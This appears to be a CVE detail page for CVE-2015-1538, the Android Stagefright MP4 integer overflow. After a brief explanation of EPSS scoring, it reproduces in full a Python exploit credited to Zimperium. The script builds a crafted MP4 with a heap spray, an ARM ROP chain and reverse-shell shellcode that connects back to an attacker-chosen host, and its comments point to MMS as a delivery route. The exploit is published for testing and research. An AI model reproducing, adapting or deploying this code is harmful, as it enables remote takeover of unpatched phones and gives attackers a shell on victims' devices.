CVE-2015-1538 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/env python # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs # Shout outs to our friends at Optiv (formerly Accuvant Labs) # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015 # www.zimperium.com # # Exploit for RCE Vulnerability CVE-2015-1538 #1 # Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling # # Don’t forget, the output of “create_mp4” can be delivered many ways! # MMS is the most dangerous attack vector, but not the only one… # # DISCLAIMER: This exploit is for testing and educational purposes only. Any # other usage for this code is not allowed. Use at your own risk. # # “With great power comes great responsibility.” – Uncle Ben # import struct import socket # # Creates a single MP4 atom – LEN, TAG, DATA # def make_chunk(tag, data): if len(tag) != 4: raise ‘Yo! They call it “FourCC” for a reason.’ ret = struct.pack(‘>L’, len(data) + 8) ret += tag ret += data return ret # # Make an ‘stco’ atom – Sample Table Chunk Offets # def make_stco(extra=”): ret = struct.pack(‘>L’, 0) # version ret += struct.pack(‘>L’, 0) # mNumChunkOffsets return make_chunk(‘stco’, ret+extra) # # Make an ‘stsz’ atom – Sample Table Size # def make_stsz(extra=”): ret = struct.pack(‘>L’, 0) # version ret += struct.pack(‘>L’, 0) # mDefaultSampleSize ret += struct.pack(‘>L’, 0) # mNumSampleSizes return make_chunk(‘stsz’, ret+extra) # # Make an ‘stts’ atom – Sample Table Time-to-Sample # def make_stts(): ret = struct.pack(‘>L’, 0) # version ret += struct.pack(‘>L’, 0) # mTimeToSampleCount return make_chunk(‘stts’, ret) # # This creates a single Sample Table Sample-to-Chunk entry # def make_stsc_entry(start, per, desc): ret = ” ret += struct.pack(‘>L’, start + 1) ret += struct.pack(‘>L’, per) ret += struct.pack(‘>L’, desc) return ret # # Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk # # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and # cause a heap overflow. # def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False): ret = struct.pack(‘>L’, 0) # version/flags # this is the clean version… if not do_overflow: ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets ret += ‘Z’ * (12 * num_alloc) return make_chunk(‘stsc’, ret) # now the explicit version. (trigger the bug) ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets # fill in the entries that will overflow the buffer for x in range(0, num_write): ret += make_stsc_entry(sp_addr, sp_addr, sp_addr) ret = make_chunk(‘stsc’, ret) # patch the data_size ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:] return ret # # Build the ROP chain # # ROP pivot by Georg Wicherski! Thanks! # “”” (gdb) x/10i __dl_restore_core_regs 0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34 0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5} 0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5} 0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11} 0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc} “”” “”” b0001144 <__dl_mprotect>: b0001144: e92d0090 push {r4, r7} b0001148: e3a0707d mov r7, #125 ; 0x7d b000114c: ef000000 svc 0x00000000 b0001150: e8bd0090 pop {r4, r7} b0001154: e1b00000 movs r0, r0 b0001158: 512fff1e bxpl lr b000115c: ea0015cc b b0006894 <__dl_raise+0x10> “”” def build_rop(off, sp_addr, newpc_val, cb_host, cb_port): rop = ” rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp rop += struct.pack(‘<L’, 0xb0002a98) # new lr – pop {pc} rop += struct.pack(‘<L’, 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc} rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned) rop += struct.pack(‘<L’, 0x1000) # new r1 – length rop += struct.pack(‘<L’, 7) # new r2 – protection rop += struct.pack(‘<L’, 0xd000d003) # new r3 – scratch rop += struct.pack(‘<L’, 0xd000d004) # new r4 – scratch rop += struct.pack(‘<L’, 0xb0001144) # new pc – _dl_mprotect native_start = sp_addr + 0x80 rop += struct.pack(‘<L’, native_start) # address of native payload #rop += struct.pack(‘<L’, 0xfeedfed5) # top of stack… # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit) buf = ” # fork buf += ‘\x02\x70\xa0\xe3’ buf += ‘\x00\x00\x00\xef’ # continue if not parent… buf += ‘\x00\x00\x50\xe3’ buf += ‘\x02\x00\x00\x0a’ # exit parent buf += ‘\x00\x00\xa0\xe3’ buf += ‘\x01\x70\xa0\xe3’ buf += ‘\x00\x00\x00\xef’ # setsid in child buf += ‘\x42\x70\xa0\xe3’ buf += ‘\x00\x00\x00\xef’ # socket/connect/dup2/dup2/dup2 buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’ buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’ buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’ buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’ buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’ buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’ buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’ buf += ‘\xe3\x00\x00\x00\xef’ # execve(shell, argv, env) buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’ buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’ buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’ buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’ buf += ‘\xef\x02\x00’ # Add the connect back host/port buf += struct.pack(‘!H’, cb_port) cb_host = socket.inet_aton(cb_host) buf += struct.pack(‘=4s’, cb_host) # shell – buf += ‘/system/bin/sh\x00\x00’ # argv – buf += ‘sh\x00\x00’ # env – buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’ # Add some identifiable stuff, just in case something goes awry… rop_start_off = 0x34 x = rop_start_off + len(rop) while len(rop) < 0x80 – rop_start_off: rop += struct.pack(‘<L’, 0xf0f00000+x) x += 4 # Add the native payload… rop += buf return rop # # Build an mp4 that exploits CVE-2015-1538 #1 # # We mimic meow.3gp here… # def create_mp4(sp_addr, newpc_val, cb_host, cb_port): chunks = [] # Build the MP4 header… ftyp = ‘mp42’ ftyp += struct.pack(‘>L’, 0) ftyp += ‘mp42’ ftyp += ‘isom’ chunks.append(make_chunk(‘ftyp’, ftyp)) # Note, this causes a few allocations… moov_data = ” moov_data += make_chunk(‘mvhd’, struct.pack(‘>LL’, 0, 0x41414141) + (‘B’ * 0x5c) ) # Add a minimal, verified trak to satisfy mLastTrack being set moov_data += make_chunk(‘trak’, make_chunk(‘stbl’, make_stsc(0x28, 0x28) + make_stco() + make_stsz() + make_stts() )) # Spray the heap using a large tx3g chunk (can contain binary data!) “”” 0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs 0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0 0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1 0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4 0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement 0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1 0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42> 0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase 0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr 0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address 0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6 0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it! “”” page = ” off = 0 # the offset to the next object off += 8 page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28) # _vptr.RefBase (for when we smash mDataSource) page += struct.pack(‘<L’, sp_addr + off) # mRefs off += 16 page += struct.pack(‘<L’, 1) # mStrong page += struct.pack(‘<L’, 0xc0dedbad) # mWeak page += struct.pack(‘<L’, sp_addr + off) # mBase page += struct.pack(‘<L’, 16) # mFlags (dont set OBJECT_LIFETIME_MASK) off += 8 page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase page += struct.pack(‘<L’, 0xf00dbabe) # mBase.mRefs (unused) off += 16 page += struct.pack(‘<L’, 0xc0de0000 + 0x00) # vtable entry 0 page += struct.pack(‘<L’, 0xc0de0000 + 0x04) # vtable entry 4 page += struct.pack(‘<L’, 0xc0de0000 + 0x08) # vtable entry 8 page += struct.pack(‘<L’, newpc_val) # vtable entry 12 rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port) x = len(page) while len(page) < 4096: page += struct.pack(‘<L’, 0xf0f00000+x) x += 4 off = 0x34 page = page[:off] + rop + page[off+len(rop):] spray = page * (((2*1024*1024) / len(page)) – 20) moov_data += make_chunk(‘tx3g’, spray) block = ‘A’ * 0x1c bigger = ‘B’ * 0x40 udta = make_chunk(‘udta’, make_chunk(‘meta’, struct.pack(‘>L’, 0) + make_chunk(‘ilst’, make_chunk(‘cpil’, make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) + make_chunk(‘trkn’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) + make_chunk(‘disk’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) + make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 + make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘aART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘gnre’, make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) + make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 + make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) + make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) + make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger))) ) ) moov_data += udta # Make the nasty trak tkhd1 = ”.join([ ‘\x00’, # version ‘D’ * 3, # padding ‘E’ * (5*4), # {c,m}time, id, ??, duration ‘F’ * 0x10, # ?? struct.pack(‘>LLLLLL’, 0x10000, # a00 0, # a01 0, # dx 0, # a10 0x10000, # a11 0), # dy ‘G’ * 0x14 ]) trak1 = ” trak1 += make_chunk(‘tkhd’, tkhd1) mdhd1 = ”.join([ ‘\x00’, # version ‘D’ * 0x17, # padding ]) mdia1 = ” mdia1 += make_chunk(‘mdhd’, mdhd1) mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a) dinf1 = ” dinf1 += make_chunk(‘dref’, ‘H’ * 0x14) minf1 = ” minf1 += make_chunk(‘smhd’, ‘G’ * 0x08) minf1 += make_chunk(‘dinf’, dinf1) # Build the nasty sample table to trigger the vulnerability here. stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER # Add the stbl to the minf chunk minf1 += make_chunk(‘stbl’, stbl1) # Add the minf to the mdia chunk mdia1 += make_chunk(‘minf’, minf1) # Add the mdia to the track trak1 += make_chunk(‘mdia’, mdia1) # Add the nasty track to the moov data moov_data += make_chunk(‘trak’, trak1) # Finalize the moov chunk moov = make_chunk(‘moov’, moov_data) chunks.append(moov) # Combine outer chunks together and voila. data = ”.join(chunks) return data if __name__ == ‘__main__’: import sys import mp4 import argparse def write_file(path, content): with open(path, ‘wb’) as f: f.write(content) def addr(sval): if sval.startswith(‘0x’): return int(sval, 16) return int(sval) # The address of a fake StrongPointer object (sprayed) sp_addr = 0x41d00010 # takju @ imm76i – 2MB (via hangouts) # The address to of our ROP pivot newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs # Allow the user to override parameters parser = argparse.ArgumentParser() parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’) parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345) parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None) parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None) parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’) args = parser.parse_args() if len(sys.argv) == 1: parser.print_help() sys.exit(–1) if args.spray_addr == None: args.spray_addr = sp_addr if args.rop_pivot == None: args.rop_pivot = newpc_val # Build the MP4 file… data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport) print(‘[*] Saving crafted MP4 to %s …’ % args.output_file) write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf